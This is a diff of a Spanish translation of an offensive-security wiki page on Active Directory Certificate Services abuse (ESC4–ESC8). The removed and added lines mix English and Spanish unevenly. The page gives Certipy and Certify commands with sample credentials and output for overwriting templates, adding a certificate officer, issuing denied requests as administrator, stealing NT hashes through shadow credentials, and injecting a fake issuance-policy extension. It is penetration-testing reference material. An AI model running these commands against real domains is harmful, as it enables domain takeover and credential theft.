- La Enterprise CA concede derechos de enrollment a usuarios de bajo privilegio.
|
||||
- Se elude la aprobación del manager.
|
||||
- La Enterprise CA otorga derechos de inscripción a usuarios de bajo privilegio.
|
||||
- Se elude la aprobación del gerente.
|
||||
- La versión del esquema de la plantilla es 1 o superior a 2, y especifica un Application Policy Issuance Requirement que requiere el Certificate Request Agent EKU.
|
||||
- Un EKU definido en la plantilla de certificado permite la autenticación de dominio.
|
||||
- No se aplican restricciones para enrollment agents en la CA.
|
||||
- No se aplican restricciones para los enrollment agents en la CA.
|
||||
|
||||
### Abuso
|
||||
|
||||
@ -129,44 +129,42 @@ certipy req -username john@corp.local -password Pass0rd! -target-ip ca.corp.loca
|
||||
# Use Rubeus with the certificate to authenticate as the other user
|
||||
Rubeu.exe asktgt /user:CORP\itadmin /certificate:itadminenrollment.pfx /password:asdf
|
||||
```
|
||||
Los **usuarios** a los que se les permite **obtener** un **enrollment agent certificate**, las plantillas en las que los **enrollment agents** están autorizados a inscribirse, y las **cuentas** en nombre de las cuales el enrollment agent puede actuar pueden ser restringidos por las CAs empresariales. Esto se consigue abriendo el complemento `certsrc.msc`, **haciendo clic derecho en la CA**, **haciendo clic en Properties**, y luego **navegando** a la pestaña “Enrollment Agents”.
|
||||
Los **users** que están autorizados a **obtain** un **enrollment agent certificate**, las plantillas en las que los **enrollment agents** pueden inscribirse y las **accounts** en nombre de las cuales el enrollment agent puede actuar pueden ser restringidos por las CAs empresariales. Esto se consigue abriendo el snap-in `certsrc.msc`, **right-clicking on the CA**, **clicking Properties**, y luego **navigating** a la pestaña “Enrollment Agents”.
|
||||
|
||||
Sin embargo, se observa que la configuración **por defecto** de las CAs es “**Do not restrict enrollment agents**.” Cuando los administradores habilitan la restricción para los enrollment agents, ajustándola a “Restrict enrollment agents”, la configuración por defecto sigue siendo extremadamente permisiva. Permite que **Everyone** tenga acceso para inscribirse en todas las plantillas como cualquier usuario.
|
||||
Sin embargo, se observa que la configuración **default** para las CAs es “**Do not restrict enrollment agents**.” Cuando los administradores habilitan la restricción sobre los enrollment agents, configurándola en “Restrict enrollment agents,” la configuración por defecto sigue siendo extremadamente permisiva. Permite que **Everyone** tenga acceso para enroll en todas las plantillas como cualquier usuario.
|
||||
|
||||
## Vulnerable Certificate Template Access Control - ESC4
|
||||
|
||||
### **Explanation**
|
||||
|
||||
El **descriptor de seguridad** en las **plantillas de certificados** define los **permisos** que los **principales de AD** específicos poseen con respecto a la plantilla.
|
||||
El **security descriptor** en las **certificate templates** define los **permissions** que determinados **AD principals** poseen respecto a la plantilla.
|
||||
|
||||
Si un **atacante** posee los **permisos** necesarios para **modificar** una **plantilla** e **introducir** cualquiera de las **configuraciones erróneas explotables** descritas en secciones previas, se podría facilitar la escalada de privilegios.
|
||||
Si un **attacker** posee los **permissions** necesarios para **alter** una **template** e **institute** cualquiera de las **exploitable misconfigurations** descritas en secciones previas, podría facilitarse una escalada de privilegios.
|
||||
|
||||
Permisos notables aplicables a las plantillas de certificados incluyen:
|
||||
Permisos notables aplicables a las certificate templates incluyen:
|
||||
|
||||
- **Owner:** Otorga control implícito sobre el objeto, permitiendo la modificación de cualquier atributo.
|
||||
- **FullControl:** Permite autoridad completa sobre el objeto, incluyendo la capacidad de modificar cualquier atributo.
|
||||
- **Owner:** Concede control implícito sobre el objeto, permitiendo la modificación de cualquier atributo.
|
||||
- **FullControl:** Otorga autoridad completa sobre el objeto, incluyendo la capacidad de modificar cualquier atributo.
|
||||
- **WriteOwner:** Permite cambiar el owner del objeto a un principal bajo el control del atacante.
|
||||
- **WriteDacl:** Permite ajustar los controles de acceso, potencialmente otorgando FullControl al atacante.
|
||||
- **WriteDacl:** Permite ajustar los controles de acceso, potencialmente otorgando al atacante FullControl.
|
||||
- **WriteProperty:** Autoriza la edición de cualquier propiedad del objeto.
|
||||
|
||||
### Abuse
|
||||
|
||||
Para identificar principales con derechos de edición sobre plantillas y otros objetos PKI, enumera con Certify:
|
||||
Para identificar principals con derechos de edición sobre plantillas y otros objetos PKI, enumera con Certify:
|
||||
```bash
|
||||
Certify.exe find /showAllPermissions
|
||||
Certify.exe pkiobjects /domain:corp.local /showAdmins
|
||||
```
|
||||
Un ejemplo de un privesc como el anterior:
|
||||
|
||||
<figure><img src="../../../images/image (814).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
ESC4 es cuando un usuario tiene privilegios de escritura sobre una plantilla de certificado. Esto, por ejemplo, puede aprovecharse para sobrescribir la configuración de la plantilla de certificado y hacer que la plantilla sea vulnerable a ESC1.
|
||||
ESC4 ocurre cuando un usuario tiene privilegios de escritura sobre una plantilla de certificado. Esto, por ejemplo, puede abusarse para sobrescribir la configuración de la plantilla de certificado y hacer que la plantilla sea vulnerable a ESC1.
|
||||
|
||||
Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene el nuevo `AddKeyCredentialLink` edge a `JOHNPC`. Dado que esta técnica está relacionada con certificados, también he implementado este ataque, conocido como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí un pequeño adelanto del comando `shadow auto` de Certipy para recuperar el NT hash de la víctima.
|
||||
Como podemos ver en la ruta anterior, solo `JOHNPC` tiene estos privilegios, pero nuestro usuario `JOHN` tiene la nueva arista `AddKeyCredentialLink` hacia `JOHNPC`. Dado que esta técnica está relacionada con certificados, también implementé este ataque, conocido como [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab). Aquí hay un pequeño adelanto del comando `shadow auto` de Certipy para recuperar el hash NT de la víctima.
|
||||
```bash
|
||||
certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc'
|
||||
```
|
||||
**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **default**, Certipy hará **overwrite** la configuración para hacerla **vulnerable to ESC1**. También podemos especificar el **`-save-old` parameter to save the old configuration**, lo cual será útil para **restoring** la configuración después de nuestro attack.
|
||||
**Certipy** puede sobrescribir la configuración de una plantilla de certificado con un solo comando. Por **defecto**, Certipy **sobrescribirá** la configuración para hacerla **vulnerable a ESC1**. También podemos especificar el **`-save-old` parameter to save the old configuration**, lo cual será útil para **restaurar** la configuración después de nuestro ataque.
|
||||
```bash
|
||||
# Make template vuln to ESC1
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old
|
||||
@ -177,25 +175,25 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target
|
||||
# Restore config
|
||||
certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json
|
||||
```
|
||||
## Vulnerable PKI Object Access Control - ESC5
|
||||
## Control de Acceso a Objetos PKI Vulnerable - ESC5
|
||||
|
||||
### Explicación
|
||||
|
||||
La extensa red de relaciones interconectadas basadas en ACL, que incluye varios objetos más allá de las plantillas de certificados y la autoridad certificadora, puede afectar la seguridad de todo el sistema AD CS. Estos objetos, que pueden afectar significativamente la seguridad, abarcan:
|
||||
La extensa red de relaciones interconectadas basadas en ACL, que incluye varios objetos más allá de los certificate templates y la certificate authority, puede afectar la seguridad de todo el sistema AD CS. Estos objetos, que pueden influir significativamente en la seguridad, abarcan:
|
||||
|
||||
- El objeto de equipo de AD del servidor CA, que puede ser comprometido mediante mecanismos como S4U2Self o S4U2Proxy.
|
||||
- El servidor RPC/DCOM de la CA.
|
||||
- Cualquier objeto o contenedor descendiente de AD dentro de la ruta de contenedor específica `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Esta ruta incluye, pero no se limita a, contenedores y objetos como el Certificate Templates container, Certification Authorities container, el objeto NTAuthCertificates y el Enrollment Services Container.
|
||||
- El AD computer object del servidor CA, que puede ser comprometido mediante mecanismos como S4U2Self o S4U2Proxy.
|
||||
- El RPC/DCOM server del servidor CA.
|
||||
- Cualquier AD object o contenedor descendiente dentro de la ruta de contenedor específica `CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>`. Esta ruta incluye, pero no se limita a, contenedores y objetos como el Certificate Templates container, Certification Authorities container, el NTAuthCertificates object y el Enrollment Services Container.
|
||||
|
||||
La seguridad del sistema PKI puede verse comprometida si un atacante con pocos privilegios logra obtener control sobre cualquiera de estos componentes críticos.
|
||||
La seguridad del sistema PKI puede verse comprometida si un atacante con bajos privilegios logra controlar cualquiera de estos componentes críticos.
|
||||
|
||||
## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6
|
||||
|
||||
### Explicación
|
||||
|
||||
El tema tratado en el [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) también aborda las implicaciones del indicador **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, según lo descrito por Microsoft. Esta configuración, cuando está activada en una Certification Authority (CA), permite la inclusión de **valores definidos por el usuario** en el **subject alternative name** para **cualquier request**, incluidas aquellas construidas desde Active Directory®. En consecuencia, esta disposición permite que un **intruso** se inscriba a través de **cualquier template** configurada para la **authentication** de dominio—específicamente aquellas abiertas a la inscripción de usuarios **unprivileged**, como la plantilla estándar User. Como resultado, se puede obtener un certificado que permite al intruso autenticarse como administrador de dominio o como **cualquier otra entidad activa** dentro del dominio.
|
||||
El tema tratado en el [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) también aborda las implicaciones del flag **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, según lo descrito por Microsoft. Esta configuración, cuando está activada en una Certification Authority (CA), permite la inclusión de **valores definidos por el usuario** en el **subject alternative name** para **cualquier solicitud**, incluidas aquellas construidas a partir de Active Directory®. En consecuencia, esto permite que un **intruso** se inscriba mediante **cualquier template** configurado para la **autenticación** de dominio—específicamente aquellos abiertos a la inscripción de usuarios **no privilegiados**, como el estándar User template. Como resultado, se puede obtener un certificado que permita al intruso autenticarse como administrador de dominio o **cualquier otra entidad activa** dentro del dominio.
|
||||
|
||||
**Nota**: El enfoque para añadir **alternative names** en una Certificate Signing Request (CSR), a través del argumento `-attrib "SAN:"` en `certreq.exe` (denominados “pares nombre-valor”), contrasta con la estrategia de explotación de los SANs en ESC1. Aquí, la distinción radica en **cómo se encapsula la información de la cuenta**—en un atributo del certificado, en lugar de en una extensión.
|
||||
**Nota**: El método para añadir **alternative names** en un Certificate Signing Request (CSR), mediante el argumento `-attrib "SAN:"` en `certreq.exe` (conocido como “Name Value Pairs”), contrasta con la estrategia de explotación de los SANs en ESC1. Aquí, la distinción radica en **cómo se encapsula** la información de la cuenta—dentro de un atributo del certificado, en lugar de una extensión.
|
||||
|
||||
### Abuso
|
||||
|
||||
@ -207,7 +205,7 @@ Esta operación emplea esencialmente **remote registry access**, por lo tanto, u
|
||||
```bash
|
||||
reg.exe query \\<CA_SERVER>\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\<CA_NAME>\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags
|
||||
```
|
||||
Herramientas como [**Certify**](https://github.com/GhostPack/Certify) y [**Certipy**](https://github.com/ly4k/Certipy) son capaces de detectar esta mala configuración y explotarla:
|
||||
Herramientas como [**Certify**](https://github.com/GhostPack/Certify) y [**Certipy**](https://github.com/ly4k/Certipy) pueden detectar esta configuración incorrecta y explotarla:
|
||||
```bash
|
||||
# Detect vulnerabilities, including this one
|
||||
Certify.exe find
|
||||
@ -216,37 +214,37 @@ Certify.exe find
|
||||
Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local
|
||||
```
|
||||
Para alterar estos ajustes, siempre que se posean derechos de **administrador de dominio** o equivalentes, se puede ejecutar el siguiente comando desde cualquier estación de trabajo:
|
||||
Para modificar estas configuraciones, suponiendo que se poseen **privilegios de administrador de dominio** o equivalentes, el siguiente comando puede ejecutarse desde cualquier estación de trabajo:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
Para deshabilitar esta configuración en su entorno, la flag puede eliminarse con:
|
||||
Para desactivar esta configuración en su entorno, la flag puede eliminarse con:
|
||||
```bash
|
||||
certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2
|
||||
```
|
||||
> [!WARNING]
|
||||
> Después de las actualizaciones de seguridad de mayo de 2022, los **certificados** recién emitidos contendrán una **extensión de seguridad** que incorpora la propiedad `objectSid` del solicitante. Para ESC1, este SID se deriva del SAN especificado. Sin embargo, para **ESC6**, el SID refleja el `objectSid` del solicitante, no el SAN.\
|
||||
> Tras las actualizaciones de seguridad de mayo de 2022, los **certificados** recién emitidos contendrán una **extensión de seguridad** que incorpora la **propiedad `objectSid` del solicitante**. Para ESC1, este SID se deriva del SAN especificado. Sin embargo, para **ESC6**, el SID refleja el **`objectSid` del solicitante**, no el SAN.\
|
||||
> Para explotar ESC6, es esencial que el sistema sea susceptible a ESC10 (Weak Certificate Mappings), que prioriza el **SAN sobre la nueva extensión de seguridad**.
|
||||
|
||||
## Control de acceso vulnerable de la autoridad de certificación - ESC7
|
||||
## Control de Acceso Vulnerable de la Autoridad de Certificación - ESC7
|
||||
|
||||
### Ataque 1
|
||||
|
||||
#### Explicación
|
||||
|
||||
El control de acceso de una autoridad de certificación se mantiene mediante un conjunto de permisos que rigen las acciones de la CA. Estos permisos se pueden ver accediendo a `certsrv.msc`, haciendo clic derecho sobre una CA, seleccionando Propiedades y luego navegando a la pestaña Seguridad. Además, los permisos pueden enumerarse utilizando el módulo PSPKI con comandos como:
|
||||
El control de acceso de una autoridad de certificación se mantiene mediante un conjunto de permisos que gobiernan las acciones del CA. Estos permisos se pueden ver accediendo a `certsrv.msc`, haciendo clic derecho en una CA, seleccionando propiedades y luego navegando a la pestaña Seguridad. Además, los permisos se pueden enumerar usando el módulo PSPKI con comandos como:
|
||||
```bash
|
||||
Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access
|
||||
```
|
||||
Esto ofrece información sobre los permisos principales, a saber **`ManageCA`** y **`ManageCertificates`**, que se corresponden con los roles de “administrador de CA” y “Administrador de certificados”, respectivamente.
|
||||
This provides insights into the primary rights, namely **`ManageCA`** and **`ManageCertificates`**, correlating to the roles of “administrador de CA” y “administrador de certificados” respectivamente.
|
||||
|
||||
#### Abuso
|
||||
#### Abuse
|
||||
|
||||
Tener permisos **`ManageCA`** en una autoridad certificadora permite al principal manipular configuraciones de forma remota usando PSPKI. Esto incluye alternar la bandera **`EDITF_ATTRIBUTESUBJECTALTNAME2`** para permitir la especificación de SAN en cualquier plantilla, un aspecto crítico para la escalada de dominio.
|
||||
Tener permisos **`ManageCA`** en una certificate authority permite al principal manipular ajustes de forma remota usando PSPKI. Esto incluye alternar la bandera **`EDITF_ATTRIBUTESUBJECTALTNAME2`** para permitir la especificación de SAN en cualquier plantilla, un aspecto crítico para la escalada de dominio.
|
||||
|
||||
La simplificación de este proceso es posible mediante el uso del cmdlet **Enable-PolicyModuleFlag** de PSPKI, que permite realizar modificaciones sin interacción directa con la GUI.
|
||||
La simplificación de este proceso es posible mediante el uso del cmdlet **Enable-PolicyModuleFlag** de PSPKI, lo que permite realizar modificaciones sin interacción directa con la GUI.
|
||||
|
||||
La posesión de **`ManageCertificates`** facilita la aprobación de solicitudes pendientes, eludiendo efectivamente la salvaguarda de “aprobación del administrador de certificados de la CA”.
|
||||
La posesión de permisos **`ManageCertificates`** facilita la aprobación de solicitudes pendientes, eludiendo efectivamente la salvaguarda de "aprobación del administrador de certificados de la CA".
|
||||
|
||||
Se puede utilizar una combinación de los módulos **Certify** y **PSPKI** para solicitar, aprobar y descargar un certificado:
|
||||
```bash
|
||||
@ -269,28 +267,28 @@ Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336
|
||||
#### Explicación
|
||||
|
||||
> [!WARNING]
|
||||
> En el **ataque anterior** **`Manage CA`** permissions were used to **enable** the **EDITF_ATTRIBUTESUBJECTALTNAME2** flag to perform the **ESC6 attack**, but this will not have any effect until the CA service (`CertSvc`) is restarted. When a user has the `Manage CA` access right, the user is also allowed to **restart the service**. However, it **does not mean that the user can restart the service remotely**. Furthermore, E**SC6 might not work out of the box** in most patched environments due to the May 2022 security updates.
|
||||
> En el **ataque anterior** **`Manage CA`** permissions se utilizaron para **habilitar** la bandera **EDITF_ATTRIBUTESUBJECTALTNAME2** para realizar el **ESC6 attack**, pero esto no tendrá efecto hasta que el servicio de CA (`CertSvc`) se reinicie. Cuando un usuario tiene el `Manage CA` access right, al usuario también se le permite **reiniciar el servicio**. Sin embargo, esto **no significa que el usuario pueda reiniciar el servicio de forma remota**. Además, E**SC6 podría no funcionar de forma inmediata** en la mayoría de los entornos parcheados debido a las actualizaciones de seguridad de May 2022.
|
||||
|
||||
Por lo tanto, aquí se presenta otro ataque.
|
||||
|
||||
Requisitos previos:
|
||||
|
||||
- Solo el permiso **`ManageCA`**
|
||||
- Permiso **`Manage Certificates`** (puede ser otorgado desde **`ManageCA`**)
|
||||
- La plantilla de certificado **`SubCA`** debe estar **enabled** (puede habilitarse desde **`ManageCA`**)
|
||||
- Solo **`ManageCA` permission**
|
||||
- **`Manage Certificates`** permission (puede ser otorgado desde **`ManageCA`**)
|
||||
- La plantilla de certificado **`SubCA`** debe estar **enabled** (puede ser enabled desde **`ManageCA`**)
|
||||
|
||||
La técnica se basa en el hecho de que los usuarios con los derechos de acceso `Manage CA` _and_ `Manage Certificates` pueden **issue failed certificate requests**. La plantilla de certificado **`SubCA`** es **vulnerable to ESC1**, pero **only administrators** pueden inscribirse en la plantilla. Así, un **user** puede **request** inscribirse en la **`SubCA`** — lo cual será **denied** — pero luego **issued by the manager afterwards**.
|
||||
La técnica se basa en el hecho de que los usuarios con los derechos de acceso `Manage CA` _y_ `Manage Certificates` pueden **emitir solicitudes de certificado fallidas**. La plantilla de certificado **`SubCA`** es **vulnerable a ESC1**, pero **solo los administrators** pueden inscribirse en la plantilla. Así, un **user** puede **request** inscribirse en la **`SubCA`** — lo cual será **denegado** — pero **luego emitido por el gestor**.
|
||||
|
||||
#### Abuso
|
||||
#### Abuse
|
||||
|
||||
Puedes **grant yourself the `Manage Certificates`** access right añadiendo tu usuario como un nuevo oficial.
|
||||
Puedes **concederte el `Manage Certificates`** access right añadiendo tu usuario como un nuevo officer.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully added officer 'John' on 'corp-DC-CA'
|
||||
```
|
||||
La plantilla **`SubCA`** puede **habilitarse en la CA** con el parámetro `-enable-template`. Por defecto, la plantilla `SubCA` está habilitada.
|
||||
La plantilla **`SubCA`** se puede **habilitar en la CA** con el parámetro `-enable-template`. Por defecto, la plantilla `SubCA` está habilitada.
|
||||
```bash
|
||||
# List templates
|
||||
certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA'
|
||||
@ -302,9 +300,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
|
||||
[*] Successfully enabled 'SubCA' on 'corp-DC-CA'
|
||||
```
|
||||
Si hemos cumplido los requisitos previos para este ataque, podemos empezar por **solicitar un certificado basado en la plantilla `SubCA`**.
|
||||
Si hemos cumplido los prerrequisitos para este ataque, podemos empezar por **solicitar un certificado basado en la plantilla `SubCA`**.
|
||||
|
||||
**Esta solicitud será denegada**, pero guardaremos la clave privada y anotaremos el ID de la solicitud.
|
||||
**Esta solicitud será denegada**, pero guardaremos la clave privada y anotaremos el ID de solicitud.
|
||||
```bash
|
||||
certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -316,7 +314,7 @@ Would you like to save the private key? (y/N) y
|
||||
[*] Saved private key to 785.key
|
||||
[-] Failed to request certificate
|
||||
```
|
||||
Con nuestros **`Manage CA` and `Manage Certificates`**, podemos entonces **emitir la solicitud de certificado fallida** con el comando `ca` y el parámetro `-issue-request <request ID>`.
|
||||
Con nuestros **`Manage CA` y `Manage Certificates`**, podemos entonces **emitir la solicitud de certificado fallida** con el comando `ca` y el parámetro `-issue-request <request ID>`.
|
||||
```bash
|
||||
certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd
|
||||
Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
@ -335,61 +333,61 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k)
|
||||
[*] Loaded private key from '785.key'
|
||||
[*] Saved certificate and private key to 'administrator.pfx'
|
||||
```
|
||||
### Ataque 3 – Manage Certificates Extension Abuse (SetExtension)
|
||||
### Ataque 3 – Abuso de Manage Certificates Extension (SetExtension)
|
||||
|
||||
#### Explicación
|
||||
|
||||
Además de los abusos clásicos de ESC7 (habilitar atributos EDITF o aprobar solicitudes pendientes), **Certify 2.0** reveló un primitivo completamente nuevo que solo requiere el rol *Manage Certificates* (también conocido como **Certificate Manager / Officer**) en la Enterprise CA.
|
||||
Además de los abusos clásicos de ESC7 (habilitar atributos EDITF o aprobar solicitudes pendientes), **Certify 2.0** reveló una nueva primitiva que solo requiere el rol *Manage Certificates* (también conocido como **Certificate Manager / Officer**) en la CA empresarial.
|
||||
|
||||
El método RPC `ICertAdmin::SetExtension` puede ser ejecutado por cualquier principal que tenga *Manage Certificates*. Mientras que el método se usaba tradicionalmente por CAs legítimas para actualizar extensiones en solicitudes **pendientes**, un atacante puede abusar de él para **apendizar una extensión de certificado *no por defecto*** (por ejemplo un OID personalizado de *Certificate Issuance Policy* como `1.1.1.1`) a una solicitud que está esperando aprobación.
|
||||
El método RPC `ICertAdmin::SetExtension` puede ser ejecutado por cualquier principal que posea *Manage Certificates*. Si bien el método era tradicionalmente usado por CAs legítimas para actualizar extensiones en solicitudes **pendientes**, un atacante puede abusar de él para **añadir una extensión de certificado *no por defecto*** (por ejemplo, un OID personalizado de *Certificate Issuance Policy* como `1.1.1.1`) a una solicitud que está esperando aprobación.
|
||||
|
||||
Como la plantilla objetivo **no define un valor por defecto para esa extensión**, la CA NO sobrescribirá el valor controlado por el atacante cuando la solicitud sea finalmente emitida. El certificado resultante por lo tanto contiene una extensión elegida por el atacante que puede:
|
||||
Debido a que la plantilla objetivo **no define un valor por defecto para esa extensión**, la CA NO sobrescribirá el valor controlado por el atacante cuando la solicitud sea finalmente emitida. Por lo tanto, el certificado resultante contiene una extensión elegida por el atacante que puede:
|
||||
|
||||
* Satisfacer requisitos de Application / Issuance Policy de otras plantillas vulnerables (conduciendo a escalada de privilegios).
|
||||
* Inyectar EKUs adicionales o políticas que otorguen al certificado confianza inesperada en sistemas de terceros.
|
||||
* Satisfacer los requisitos de Application / Issuance Policy de otras plantillas vulnerables (provocando escalada de privilegios).
|
||||
* Inyectar EKUs adicionales o políticas que otorguen al certificado una confianza inesperada en sistemas de terceros.
|
||||
|
||||
En resumen, *Manage Certificates* – previamente considerado la “mitad menos poderosa” de ESC7 – ahora puede aprovecharse para la escalada de privilegios completa o persistencia a largo plazo, sin tocar la configuración de la CA ni requerir el derecho más restrictivo *Manage CA*.
|
||||
En resumen, *Manage Certificates* —antes considerado la mitad “menos poderosa” de ESC7— ahora puede aprovecharse para una escalada de privilegios completa o persistencia a largo plazo, sin modificar la configuración de la CA ni requerir el más restrictivo derecho *Manage CA*.
|
||||
|
||||
#### Abusar del primitivo con Certify 2.0
|
||||
#### Abusando de la primitiva con Certify 2.0
|
||||
|
||||
1. **Enviar una solicitud de certificado que permanezca *pendiente*.** Esto puede forzarse con una plantilla que requiera aprobación de un manager:
|
||||
1. **Submit a certificate request that will remain *pending*.** This can be forced with a template that requires manager approval:
|
||||
```powershell
|
||||
Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval
|
||||
# Take note of the returned Request ID
|
||||
```
|
||||
|
||||
2. **Apendizar una extensión personalizada a la solicitud pendiente** usando el nuevo comando `manage-ca`:
|
||||
2. **Append a custom extension to the pending request** using the new `manage-ca` command:
|
||||
```powershell
|
||||
Certify.exe manage-ca --ca SERVER\\CA-NAME \
|
||||
--request-id 1337 \
|
||||
--set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID
|
||||
```
|
||||
*Si la plantilla no define ya la extensión *Certificate Issuance Policies*, el valor anterior se conservará después de la emisión.*
|
||||
*Si la plantilla no define ya la extensión *Certificate Issuance Policies*, el valor anterior se conservará tras la emisión.*
|
||||
|
||||
3. **Emitir la solicitud** (si tu rol también tiene derechos de aprobación *Manage Certificates*) o esperar a que un operador la apruebe. Una vez emitida, descarga el certificado:
|
||||
3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it. Once issued, download the certificate:
|
||||
```powershell
|
||||
Certify.exe request-download --ca SERVER\\CA-NAME --id 1337
|
||||
```
|
||||
|
||||
4. El certificado resultante ahora contiene el OID malicioso de issuance-policy y puede ser usado en ataques posteriores (p. ej. ESC13, escalada de dominio, etc.).
|
||||
4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.).
|
||||
|
||||
> NOTA: El mismo ataque puede ejecutarse con Certipy ≥ 4.7 a través del comando `ca` y el parámetro `-set-extension`.
|
||||
> NOTA: El mismo ataque puede ejecutarse con Certipy ≥ 4.7 mediante el comando `ca` y el parámetro `-set-extension`.
|
||||
|
||||
## NTLM Relay to AD CS HTTP Endpoints – ESC8
|
||||
## NTLM Relay a endpoints HTTP de AD CS – ESC8
|
||||
|
||||
### Explicación
|
||||
|
||||
> [!TIP]
|
||||
> En entornos donde **AD CS está instalado**, si existe un **endpoint de inscripción web vulnerable** y al menos una **certificate template publicada** que permita **domain computer enrollment y client authentication** (como la plantilla por defecto **`Machine`**), ¡se vuelve posible que **cualquier equipo con el servicio spooler activo sea comprometido por un atacante**!
|
||||
> En entornos donde **AD CS está instalado**, si existe un **web enrollment endpoint vulnerable** y al menos una **certificate template** publicada que permite **domain computer enrollment and client authentication** (como la plantilla por defecto **`Machine`**), ¡se vuelve posible que **cualquier equipo con el servicio spooler activo sea comprometido por un atacante**!
|
||||
|
||||
AD CS soporta varios **métodos de inscripción basados en HTTP**, disponibles mediante roles adicionales del servidor que los administradores pueden instalar. Estas interfaces para inscripción basada en HTTP son susceptibles a **NTLM relay attacks**. Un atacante, desde una **máquina comprometida**, puede suplantar cualquier cuenta AD que autentique vía NTLM entrante. Mientras suplantan la cuenta víctima, estas interfaces web pueden ser accedidas por un atacante para **solicitar un certificado de client authentication usando las plantillas `User` o `Machine`**.
|
||||
Varios métodos de inscripción basados en HTTP son soportados por AD CS, disponibles mediante roles adicionales de servidor que los administradores pueden instalar. Estas interfaces para el enrolamiento de certificados vía HTTP son susceptibles a **NTLM relay attacks**. Un atacante, desde una **máquina comprometida, puede suplantar cualquier cuenta AD que se autentique mediante NTLM entrante**. Mientras suplanta la cuenta víctima, estas interfaces web pueden ser accedidas por un atacante para **solicitar un certificado de client authentication usando las certificate templates `User` o `Machine`**.
|
||||
|
||||
- La **web enrollment interface** (una aplicación ASP más antigua disponible en `http://<caserver>/certsrv/`), por defecto usa solo HTTP, lo que no ofrece protección contra NTLM relay attacks. Además, explícitamente permite solo autenticación NTLM a través de su encabezado Authorization HTTP, haciendo inaplicables métodos de autenticación más seguros como Kerberos.
|
||||
- El **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, y **Network Device Enrollment Service** (NDES) por defecto soportan negotiate authentication vía su encabezado Authorization HTTP. Negotiate authentication **soporta tanto** Kerberos como **NTLM**, permitiendo a un atacante **degradar a NTLM** la autenticación durante ataques de relay. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS por sí sola **no protege contra NTLM relay attacks**. La protección contra NTLM relay para servicios HTTPS solo es posible cuando HTTPS se combina con channel binding. Lamentablemente, AD CS no activa Extended Protection for Authentication en IIS, que es lo requerido para channel binding.
|
||||
- La **web enrollment interface** (una aplicación ASP más antigua disponible en `http://<caserver>/certsrv/`), por defecto usa solo HTTP, lo que no ofrece protección contra **NTLM relay attacks**. Además, permite explícitamente únicamente autenticación NTLM a través de su cabecera Authorization HTTP, haciendo inaplicables métodos de autenticación más seguros como Kerberos.
|
||||
- El **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service, y **Network Device Enrollment Service** (NDES) por defecto soportan negotiate authentication mediante su cabecera Authorization HTTP. Negotiate authentication **soporta ambos** Kerberos y **NTLM**, permitiendo a un atacante **degradar a NTLM** la autenticación durante ataques de relay. Aunque estos servicios web habilitan HTTPS por defecto, HTTPS por sí solo **no protege contra NTLM relay attacks**. La protección contra NTLM relay attacks para servicios HTTPS solo es posible cuando HTTPS se combina con channel binding. Lamentablemente, AD CS no activa Extended Protection for Authentication en IIS, que es requerida para channel binding.
|
||||
|
||||
Un problema común con los NTLM relay attacks es la **breve duración de las sesiones NTLM** y la incapacidad del atacante para interactuar con servicios que **requieren NTLM signing**.
|
||||
Un problema común con los NTLM relay attacks es la **corta duración de las sesiones NTLM** y la incapacidad del atacante para interactuar con servicios que **requieren NTLM signing**.
|
||||
|
||||
